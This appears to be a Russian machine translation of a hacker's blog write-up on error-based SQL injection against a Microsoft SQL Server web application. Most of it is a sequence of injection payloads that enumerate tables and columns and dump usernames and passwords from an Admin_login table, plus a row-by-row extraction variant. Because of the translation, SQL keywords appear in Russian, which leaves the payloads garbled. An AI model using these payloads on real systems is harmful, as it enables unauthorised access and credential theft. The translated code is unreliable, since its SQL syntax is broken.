Здравствуйте, я Атмананд Нагпуре (proghax333). Я компьютерный исследователь и хакер. Это история о том, как я нашел способ извлечения данных из базы данных Microsoft SQL Server путем создания необработанных исключений .NET. Этот метод работает там, где в исходном запросе есть соединение, объединение или другие элементы.
Проблема:
Итак, проблема, с которой я столкнулся, заключалась в следующем: я пытался внедрить объединение на веб-сайте, но веб-сайт не давал мне нужного количества столбцов в ответе, когда Я пробовал использовать инъекцию в стиле order by. Он дал мне количество столбцов первой таблицы в группе объединенных запросов. Итак, я попытался придумать другой подход для извлечения данных из запроса.
Достаточно интересно, что из инъекций и недопустимых входных данных я узнал, что серверной технологией был сервер Microsoft SQL. Итак, решил поискать какие-нибудь эксплойты. Но они не работали.
Помните, я пытался извлечь данные. Не пытался выполнить запрос вставки или запрос обновления.
Итак, я попробовал сравнение незамкнутых строк в операторе AND, прикрепленном к исходному запросу. Вот как это выглядело:
URL: http://www.example.com/Department/FacultyDetailViewN.aspx?Id=PI817 'и 1 = - - +
Хорошо, теперь я действительно заинтересован. Начали думать, что как-то можно извлечь данные, заложенные в получившуюся ошибку. Пусть появится ошибка. Извлечь данные с ошибкой.
Решение:
Итак, помня об этом видении, я начал писать вложенный SQL-запрос и сравнивать его с целым числом: 1, как показано ниже:
? Id = 817 'и 1 = (выберите table_name из information_schema.tables) - - +
И это дало мне это ... Умм ... Да ... Но это не было большой проблемой ...
Итак, я решил вернуть только одну строку в качестве результата запроса. В целях тестирования я использовал select top 1, который возвращает первую строку таблицы. Так что да ... Я использовал это и Вуаля! Я получил первое table_name из information_schema.tables!
? Id = 817 'и 1 = (выберите 1 верхнее имя_таблицы из information_schema.tables) - - +
Итак, после решения первой проблемы возникла еще одна проблема, связанная с синтаксисом языка SQL Server: НЕ БЫЛО НИКАКОГО синтаксиса «LIMIT m, n» для MSSQL !!! Нет оператора дальности !!! Что делать сейчас? Потому что сравнение может происходить только между однозначными значениями.
Затем я обнаружил, что использовал отличный способ взлома SQL Server, который объединяет все строки в один XML. Легендарный хакер FOR XML (‘’)!
Примечание. Функция DB_NAME () возвращает имя текущей базы данных в MSSQL.
Вот что я сделал:
? Id = 817 'и 1 = (выберите cast (concat (db_name (), 0x3a, 0x3a, table_name, 0x0a) as varchar (8000)) из information_schema.tables для xml path (' ')) - - +
Следующим этапом было получение столбцов таблицы Admin_login. Просто использовал общее условие where.
? Id = 817 'и 1 = (выберите приведение (concat (db_name (), 0x3a, 0x3a, column_name, 0x0a) as varchar (8000)) from information_schema.columns, где table_name =' Admin_login 'для пути xml (' ')) - - +
Теперь все было просто. Единственное, что мне нужно было сделать, это выполнить простой запрос SQL Select к таблице:
817 'и 1 = (выберите приведение (concat (UId, 0x3a, 0x3a, Pwd, 0x0a) as varchar (8000)) из Admin_login для пути xml (‘’)) - - +
Вот и все! Это был мой первый подход!
Подход 2 (правда? А?)
Итак, вот еще один запрос, который я использовал для извлечения данных строка за строкой с помощью простого взлома: функция ROW_NUMBER ().
817 'и 1 = (SELECT concat (0x35,0x34,0x35,0x31,0x35,0x46,0x46,0x41,0x45,0x39,0x42,0x32,0x37,0x36,0x39,0x31,0x41,0x31,0x30, 0x31,0x41, db_name (), 0x3a, 0x3a, table_name, 0x37,0x41,0x46,0x34,0x35,0x38,0x36,0x30,0x43,0x41,0x35,0x45,0x43,0x38,0x46,0x41,0x43,0x45, 0x37,0x33) FROM (SELECT ROW_NUMBER () OVER (ORDER BY (выберите NULL как noorder)) AS RowNum, * FROM information_schema.tables) как псевдоним WHERE RowNum BETWEEN 1 AND 1) - - ”;
Вау! Большой запрос ... Но этот шестнадцатеричный материал предназначен только для извлечения данных с помощью специального сценария PHP, написанного для извлечения данных с помощью CURL API. Я выполнил запрос GET. Сценарий проверил данные, возвращаемые базой данных. Это было возможно, потому что этот HEX-материал - не что иное, как уникальная строка, которая просматривается JavaScript RegEx. Он извлекает подстроку, ограниченную этой уникальной строкой. Затем повторяющиеся данные удаляются с помощью специально написанной функции JavaScript.
Таким образом, разработчики должны проявлять максимальную осторожность и меры предосторожности, чтобы обеспечить безопасность данных и не допустить утечки интерфейса и прямой ссылки на объект посторонним. Обновите свои серверы до последней версии Microsoft SQL Server 2017 или более поздней версии.
Это все на сегодня!
С уважением,
Атмананд Нагпуре (proghax333).
Подпишитесь на Infosec Write-ups, чтобы увидеть больше таких замечательных статей.